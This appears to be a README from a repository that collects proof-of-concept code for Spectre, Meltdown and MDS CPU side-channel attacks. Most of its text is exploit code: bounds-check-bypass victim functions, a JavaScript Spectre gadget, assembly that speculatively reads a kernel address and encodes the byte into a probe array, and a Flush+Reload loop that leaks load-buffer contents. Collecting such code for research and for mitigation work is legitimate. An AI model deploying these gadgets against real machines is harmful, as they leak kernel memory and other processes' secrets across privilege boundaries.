Collection of Spectre-type, Meltdown-type and MDS-type PoCs
Collected from existing repos, this repo lists known Spectre-type, Meltdown-type and MDS-type PoCs.
PRs are welcome.
If you want to read corresponding codes, please checkout the branch codes.
git clone -b codes https://github.com/morning21/Spectre_Meltdown_MDS_srcs.git
ToC:
Description: meltdown-toy, meltdown-full, spectre-toy, spectre-full
Spectre
Touch:
movzx eax, byte [rcx]
shl rax, 0Ch
mov al, byte [rax+rdx]
sysenter
void victim_function(size_t x)
{
if (x < array1_size)
{
temp &= array2[array1[x] * 512];
}
}
ecall_victim_function
:
void ecall_victim_function(size_t x, uint8_t * array2, unsigned int * outside_array1_size) {
//if (x < array1_size) {
if (x < *outside_array1_size) {
temp &= array2[array1[x] * 512];
}
}
void accessPage(int page) {
int value=0;
if (page < indexArraySize) {
value = value & attackArray[indexArray[page] * PAGE_SIZE];
}
}
function vul_call(index, sIndex)
{
index = index |0;
sIndex = sIndex |0;
var arr_size = 0;
var j = 0;
junk = probeTable[0]|0;
// "size" value repeated at different offsets to avoid having to flush it?
j = (((sIndex << 12) | 0) + sizeArrayStart)|0;
arr_size = simpleByteArray[j|0]|0;
if ((index|0) < (arr_size|0))
{
index = simpleByteArray[index|0]|0;
index = (index << 12)|0;
index = (index & ((TABLE1_BYTES-1)|0))|0;
junk = (junk ^ (probeTable[index]|0))|0;
}
}
/* smother gadget */
asm("cmp $0, %%r15;"
"je MARK;" ::: );
CRC324 CRC322
asm("movl $-1, %%r12d; divl %%r12d;" :::);
asm("MARK:;");
OR16
asm("lfence;" :::);
void victim_function(size_t idx) {
unsigned char **memory_slot_slow_ptr = *memory_slot_ptr;
*memory_slot_slow_ptr = public_key;
tmp = probe[(*memory_slot)[idx] * 4096];
}
int speculative_transfer(int div, uint8_t secret)
{
uint8_t data = 0;
int res = 0;
// rise_exception after delay
int a=div;
for(int i=0;i<100000;i++)
a+=i;
data = a / div;
// speculative
res += cache[CACHE_LINE_SIZE*secret];
return res + data;
}
asm __volatile__ (
".global __speculative_byte_load_exit \n\t"
"%=: \n"
"xorq %%rax, %%rax \n"
"movb (%[ptr]), %%al \n"
"shlq $0xc, %%rax \n"
"jz %=b \n"
"movq (%[buf], %%rax, 1), %%rbx \n"
"__speculative_byte_load_exit: \n"
"nop \n"
:
: [ptr] "r" (ptr), [buf] "r" (buf)
: "%rax", "%rbx");
; rcx = kernel address
; rbx = probe array
retry:
mov al, byte [rcx]
shl rax, 0xc
jz retry
mov rbx, qword [rbx + rax]
__attribute__((noinline)) uint8_t bounds_check(uint64_t idx)
{
if (idx < array_size) /* no reading outside the array, or is it? */
return side_effects[base_array[idx] * PAGE_SIZE];
return 0; /* just return 0 if index is out of range */
}
do_access:
push %rbx
push %rdi
push %rsi
push %rdx
// Do the illegal access (rdx is ptr param)
movb (%rdx), %bl
// Duplicate result to rax
mov %rbx, %rax
// calculate our_buffer_lsb offset according to low nibble
and $0xf, %rax
shl $0xc, %rax
// calculate our_buffer_msb offset according to high nibble
shr $0x4, %rbx
and $0xf, %rbx
shl $0xc, %rbx
// rsi is our_buffer_lsb param
mov (%rsi, %rax, 1), %rax
// rdi is our_buffer_msb param
mov (%rdi, %rbx, 1), %rbx
cacheutils
file, which implement the basic elements to construct Flush+Reload attacks, such as the choice of threshold and Flush+Reload function. An embedded disassembly gadget supports accessing address through mov
directly.
while (1) {
// Ensure the kernel mapping refers to a value not in the cache
flush(mapping);
// Dereference the kernel address and encode in LUT
// Not in cache -> reads load buffer entry
if (!setjmp(trycatch_buf)) {
maccess(0);
maccess(mem + 4096 * target[0]);
}
recover();
}